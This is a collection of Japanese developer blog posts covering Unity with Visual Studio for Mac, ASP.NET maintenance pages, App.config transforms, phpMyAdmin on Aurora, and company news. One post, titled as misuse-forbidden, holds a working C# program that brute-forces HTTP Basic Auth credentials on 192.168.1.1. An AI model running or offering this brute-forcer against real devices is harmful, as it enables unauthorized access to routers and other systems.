UnityでVisual Studio for Mac Preview

タイトルの通り!

Unity 5.4.0f3
Visual Studio for Mac Preview Preview1(7.0 build 347)
ですよ。

C#エンジニアとしてはね。
Visual Studio様を崇拝してるわけでして。
Visual Studio使いたいがために、ずっとWindowsでUnity使ってたんですが。
iOS+AndroidだとやっぱりMacじゃないとつらいわ。

ダウンロードしてインストール。

www.visualstudio.com

Xamarinいらんっしょって思ってチェックを全部外す。
f:id:devdevdev:20161204205135p:plain

Android SDK入ってなくてダウンロード。。長い。。
f:id:devdevdev:20161204205214p:plain

無事インストール完了。待ってる間にQiitaが3本書けましたね。
f:id:devdevdev:20161204235545p:plain

UnityのPreferences...を開く
f:id:devdevdev:20161204235745p:plain

External Toolsを選択して、External Script Editor→Browse...で、Applications/Visual Studio.appを選択。
f:id:devdevdev:20161204235855p:plain

一旦、Assets→Open C# Project。
なんでかMonoDevelopVisual Studioが両方起動する。。
2回目以降はルートディレクトリにできるhoge.slnをVisual Studioから開きましょう。



うーん、やっぱデバッグはできないよねー。
インテリセンスとかは普通に効くし、書けるけど。
f:id:devdevdev:20161205004637p:plain





悪用厳禁なやつ

ひさびさに.NET書いたねん。
どうしてもしょうがなくね。
悪用厳禁

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            const string availableChars = "1234567890abcdefghijklmnopqrstuvwxyz";
            const int length = 5;

            var strs = new List<string>();
            Enumerable.Range(1, length).ToList().ForEach(x =>
            {
                strs.AddRange(GenerateCombinations(availableChars.ToCharArray(), x).Select(y => new string(y.ToArray())).ToList());
            });
            
            Parallel.ForEach(strs, x =>
            {
                Parallel.ForEach(strs, y =>
                {
                    var id = new string(x.ToArray());
                    var pass = new string(y.ToArray());
                    Console.WriteLine("ID:{0} Password:{1}", id, pass);
                    if (CheckBasicAuth(id, pass))
                    {
                        Console.ReadLine();
                        Environment.Exit(0);
                    }
                });
            });
        }
        
        private static IEnumerable<List<T>> GenerateCombinations<T>(IEnumerable<T> source, int n)
        {
            var s = source.ToArray();
            return Enumerable.Range(0, n - 1)
                .Aggregate(
                    Enumerable.Range(0, s.Count() - n + 1)
                        .Select(num => new List<int>() { num }),
                    (list, _) => list.SelectMany(c =>
                        Enumerable.Range(c.Max() + 1, s.Count() - c.Max() - 1)
                            .Select(num => new List<int>(c) { num })
                        )
                    )
                .Select(c => c
                    .Select(num => s[num])
                    .ToList()
                    );
        }

        private static bool CheckBasicAuth(string id, string pass)
        {
            var client = new WebClient();
            client.Credentials = new NetworkCredential(id, pass);
            try
            {
                var pagedata = client.DownloadData("http://192.168.1.1/");
                Console.WriteLine(Encoding.UTF8.GetString(pagedata));
                return true;
            }
            catch
            {
                return false;
            }
        }
    }
}





ご報告

先ほどArrvis社一周年ブログを書いといてなんですが、、

5/1より駐車場のシェアリングサービス「akippa」を運営するakippa株式会社へジョインさせていただくこととなりました。
なお本社は大阪ですが、私自身は東京オフィスでの勤務となりますので、ちょくちょく大阪行ってる以外は普通にそこらへん歩いておりますw
最近は大崎か幡ヶ谷でしたが、今後は渋谷にいることが多いかと。

www.akippa.com

GW休暇中のため初出社はまだ先なのですが、皆様ご承知の通り単なる会社員の転職等ではないのでご説明・ご連絡等させていただきたく。

まずArrvis社の今後についてですが、会社自体は今後も経営を続けていきます。
特に現在進行中の案件に関してはこれまでとほぼ変わらず全力で頑張ります。
決してご迷惑をお掛けすることのないようにしますのでご安心頂ければと存じます。
その他、色々お話を進めさせていただいているお取引先様に関しては、別途ご調整させていただけたらと考えております。
もちろんこちらもご迷惑をお掛けしないよう全力を尽くします。
おそらく私自身は徐々に第一線から身を引いていくことになるかとは思いますが、幸い当社には優秀なCOOもいますし、今後に関してもきちんと考えておりますのでこれからも変わらずお引き立て頂ければと存じます。

次にakippa社ですが、とりあえず頑張ります!全力で頑張ります!
まだ初出社もしてないし、Arrvis社と違って何をどこまでオープンにしていいかまだよくわかってないので何も言えません!w
とりあえず僕が入社して少しでもいい影響を会社に与えられればいいなと思ってます。

今後はArrvis社の社長と、akippa社のアプリ開発責任者という二つの顔を持つことになりますが、ぼくは変わらずぼくです。
仕事以外はちゃらんぽらんですw今後も皆様変わらず仲良くしてくださいw
今までの倍忙しくなりますが。。さようなら、ぼくの睡眠時間。。
まぁ20代最後の年ということで20代の集大成となるよう頑張ります!

実は今回お話を頂いてめちゃくちゃ迷ってました。
個人的感情としてはものすごいジョインしたかったんです。
が、Arrvis社に最初の社員が入社したのが3/1。あ、今日で入社2ヵ月ですね。おめ。
社長と2人の会社なのに、入社後たった2ヵ月で社長が他社にジョインとか。社長としてどうなのかと。ありえないっしょと。
そんな時に「社長がやりたいことやってくださいよ。社長が好きなことやってない会社ぼく嫌です。」と言って背中を押してくれたうちの社員には感謝してもしきれません。
あの言葉忘れてないぜ。そんな社員のためにも、うちの会社に入ってよかったと思えるようこれからも頑張ります。
どうせakippa社同様、Arrvis社もGW休暇中だから会わないし、そんなこと言うキャラじゃないからこの場でありがと!w

また、別の会社を経営を続けつつジョインするという、わがままを許して下さったakippa社の皆様にも感謝してもしきれません。
皆様のご期待に添えるよう死ぬほど頑張りますので、今後とも宜しくお願い致します。

最後に直接お会いできた方にはご報告させていただいていたのですが、この場でのご報告となってしまった方々、大変申し訳ございません。

ようやく色々オープンにできてすっきりしたーw
とりあえず5/9~5/13まで大阪行ってきますので、東京にはいませんー

さ、仕事しよう。


祝 一周年

f:id:devdevdev:20160501003607p:plain

おかげ様をもちまして、私たち株式会社Arrvisは創業より1周年を迎えることができました。
これもひとえにお客様をはじめといたしまして、お取引先様各位、ご協力者の方々のご指導・ご支援の賜物と厚く感謝いたしております。
この一周年の節目は皆様への感謝の心と敬いをもって、当社の役割を見直し、実践していく最高の機会と考えております。
お客様のニーズを受け止めて、それを実践・ご提案していく企業であり続けるためにさらなる努力を続けてまいります。
今後とも株式会社Arrvisをお引き立てくださいますようお願い申し上げます。

株式会社Arrvis
代表取締役CEO 伊豆丸祐恭

・・・ちゃんとしたご挨拶とか書いてみようと思った結果コピペ。
まぁとりあえず1年経ったー!本日より2年目突入ー!
今後もお客様から選ばれ続ける企業であるよう社員一同がんばります!

なお、5/2は創立記念日振替の為、全社休日とさせていただきます。


【ASP.NET】メンテナンスページを表示する方法5選

ひさびさASP.NET
グ○シーに出てきそうなタイトル。

1. URL Rewrite

Web.configに以下追記。
ファイルの有無で判定する感じですね。
maintenance.txtが存在してればmaintenance.htmlの内容が表示されます。
まぁ実務じゃあんま使わないかと。

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <rewrite>
      <rules>
        <rule name="Maintenance" stopProcessing="true">
          <match url="^(.*)$" ignoreCase="true"/>
          <conditions>
            <add input="{APPL_PHYSICAL_PATH}maintenance.txt" matchType="IsFile" />
          </conditions>
          <action type="Rewrite" url="maintenance.html" />
        </rule>
      </rules>
    </rewrite>
  </system.webServer>
</configuration>



2.IHttpModule + Web.config

おもむろにこんなクラスを用意します。

using System;
using System.Configuration;
using System.IO;
using System.Web;

namespace Hoge.Modules
{
    public class MaintenanceModule : IHttpModule
    {
        public void Dispose()
        {
        }

        public void Init(HttpApplication context)
        {
            context.BeginRequest += Context_BeginRequest;
        }

        private void Context_BeginRequest(object sender, EventArgs e)
        {
            if (!bool.Parse(ConfigurationManager.AppSettings[@"InMaintenance"]))
                return;
            
            var app = (HttpApplication)sender;
            app.Context.Response.ContentType = @"text/html";
            app.Context.Response.WriteFile(
                Path.Combine(app.Request.ApplicationPath, @"maintenance.html"));
            app.Context.Response.End();
        }
    }
}


で。Web.config
nameはてきとーでよさげ?typeにフルパス指定で

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <appSettings>
    <add key="InMaintenance" value="true"/>
  </appSettings>
  <system.webServer>
    <modules runAllManagedModulesForAllRequests="true">
      <add name="MaintenanceModule" type="Hoge.Modules.MaintenanceModule"/>
    </modules>
  </system.webServer>
</configuration>

InMaintenanceがtrueに設定されてればmaintenance.htmlの内容が表示されます。
別にWeb.configじゃなくDBとか他のとこから値取ってきてもいいですね。



3.Global.asax Server.Transferバージョン

判定は2と同じですぜ。

using System;
using System.Configuration;
using System.IO;
using System.Web;

namespace Hoge.App
{
    public class MvcApplication : HttpApplication
    {
        protected void Application_BeginRequest(object sender, EventArgs e)
        {
            if (!bool.Parse(ConfigurationManager.AppSettings[@"InMaintenance"]))
                return;

            Server.Transfer(Path.Combine(Context.Request.ApplicationPath, @"maintenance.html"));
        }
    }
}


4.Global.asax Response.Redirectバージョン

3の

Server.Transfer(Path.Combine(Context.Request.ApplicationPath, @"maintenance.html"));

Response.Redirect("http://www.hoge.com/maintenance.html");

に書き換え。
1~3と違って書き換えではなくリダイレクトですねー。当たり前ですねー。



5.DelegatingHandler

おもむろにこんなクラスを用意しましょう。

using System.Configuration;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Threading;
using System.Threading.Tasks;
using System.Web;
using System.Web.Http;
using System.Web.Http.Dispatcher;

namespace Hoge.Handler
{
    public class MaintenanceHandler : DelegatingHandler
    {
        public MaintenanceHandler(HttpConfiguration configuration)
        {
            InnerHandler = new HttpControllerDispatcher(configuration);
        }
        
        protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage requestMessage, CancellationToken cancellationToken)
        {
            if (bool.Parse(ConfigurationManager.AppSettings[@"InMaintenance"]))
            {
                var maintenanceFilePath = Path.Combine(HttpRuntime.AppDomainAppPath, @"maintenance.html");
                var response = requestMessage.CreateResponse(HttpStatusCode.ServiceUnavailable);
                response.Content = new StringContent(File.ReadAllText(maintenanceFilePath));
                response.Content.Headers.ContentType = new MediaTypeHeaderValue(@"text/html");

                return Task<HttpResponseMessage>.Factory.StartNew(() => response);
            }

            return base.SendAsync(requestMessage, cancellationToken);
        }
    }
}



Global.asax.cs

using Hoge.Handler;
using System.Web;
using System.Web.Http;
using System.Web.Mvc;
using System.Web.Optimization;
using System.Web.Routing;

namespace Hoge.App
{
    public class MvcApplication : HttpApplication
    {
        protected void Application_Start()
        {           
            GlobalConfiguration.Configuration.Routes.MapHttpRoute(
                name: "Hoge",
                routeTemplate: "{group}/{controller}/{action}",
                defaults: new { action = UrlParameter.Optional },
                constraints: null,
                handler: new MaintenanceHandler(GlobalConfiguration.Configuration)
            );

            AreaRegistration.RegisterAllAreas();
            FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
            RouteConfig.RegisterRoutes(RouteTable.Routes);
            BundleConfig.RegisterBundles(BundleTable.Bundles);       
        }
    }
}

いじょー
2か5が使いやすいかなー
つかれたー。





.exe.configをDebugとReleaseで切り替える Visual Studio 2015編

ひさびさ.NET
コンソールアプリケーションとかWindowsアプリケーションとかの場合ね。
Web.configは勝手にやってくれるのになぜ.exe.configはやってくれないのか
なお、.exe.configからの値の取得はWeb.configの時と一緒でございます。

参考:
devdevdev.hatenablog.com



1.おもむろにApp.config/App.Debug.config/App.Release.configをプロジェクトディレクトリ直下に作ります。
中身はこんな感じ



App.config

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <appSettings>
    <add key="foo" value="default" />
  </appSettings>
</configuration>



App.Debug.config - 特に書くことない

<?xml version="1.0" encoding="utf-8"?>
<configuration>
</configuration>



App.Release.config - Web.Release.configと同じ書き方でおk

<?xml version="1.0" encoding="utf-8"?>
<configuration xmlns:xdt="http://schemas.microsoft.com/XML-Document-Transform">
  <appSettings>
    <add key="foo" value="release" xdt:Transform="SetAttributes" xdt:Locator="Match(key)"/>
  </appSettings>
</configuration>

2..csproj編集
ソリューションエクスプローラーからプロジェクト右クリック→プロジェクトのアンロード
もっかい右クリック→編集XXXX.csproj



まずItemGroup

<None Include="App.config" />
<None Include="App.Debug.config" />
<None Include="App.Release.config" />

  <ItemGroup>
    <None Include="App.config" />
    <None Include="App.Debug.config">
      <DependentUpon>App.config</DependentUpon>
    </None>
    <None Include="App.Release.config">
      <DependentUpon>App.config</DependentUpon>
    </None>
  </ItemGroup>

に書き換え。



で、AfterCompileとAfterPublish追加。

  <UsingTask TaskName="TransformXml" AssemblyFile="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\Web\Microsoft.Web.Publishing.Tasks.dll" />
  <Target Name="AfterCompile" Condition="Exists('App.$(Configuration).config')">
    <TransformXml Source="App.config" Destination="$(IntermediateOutputPath)$(TargetFileName).config" Transform="App.$(Configuration).config" />
    <ItemGroup>
      <AppConfigWithTargetPath Remove="App.config" />
      <AppConfigWithTargetPath Include="$(IntermediateOutputPath)$(TargetFileName).config">
        <TargetPath>$(TargetFileName).config</TargetPath>
      </AppConfigWithTargetPath>
    </ItemGroup>
  </Target>
  <Target Name="AfterPublish">
    <PropertyGroup>
      <DeployedConfig>$(_DeploymentApplicationDir)$(TargetName)$(TargetExt).config$(_DeploymentFileMappingExtension)</DeployedConfig>
    </PropertyGroup>
    <Copy Condition="Exists('$(DeployedConfig)')" SourceFiles="$(IntermediateOutputPath)$(TargetFileName).config" DestinationFiles="$(DeployedConfig)" />
  </Target>

以上。



長々書いたけど、これ使ったら一発な模様。
プレビューもできるらしい。
visualstudiogallery.msdn.microsoft.com





【AWS】【Amazon Aurora】phpMyAdminでAmazon Auroraに接続

ひさしぶりすぎた
おーろらでびゅー

phpMyAdminはどっかにインストール済でAuroraも起動してるところから始めますよー
とりあえずね、Security Group作りましょう。
Inboundで「MYSQL/Aurora」を選択すればいいですね。

f:id:devdevdev:20160318091212p:plain

ModifyからSecurity Groupを今作ったものに変更。

f:id:devdevdev:20160318094258p:plain



で、phpMyAdminの設定画面に入ります。
URLは「phpMyAdminのURL/setup」ですよ。
「New server」をクリック

f:id:devdevdev:20160318100016p:plain



Verbose name of this server:任意の名前
Server hostname:Auroraのエンドポイント
Server port:3306

f:id:devdevdev:20160318100129p:plain

簡単ですねー
いじょー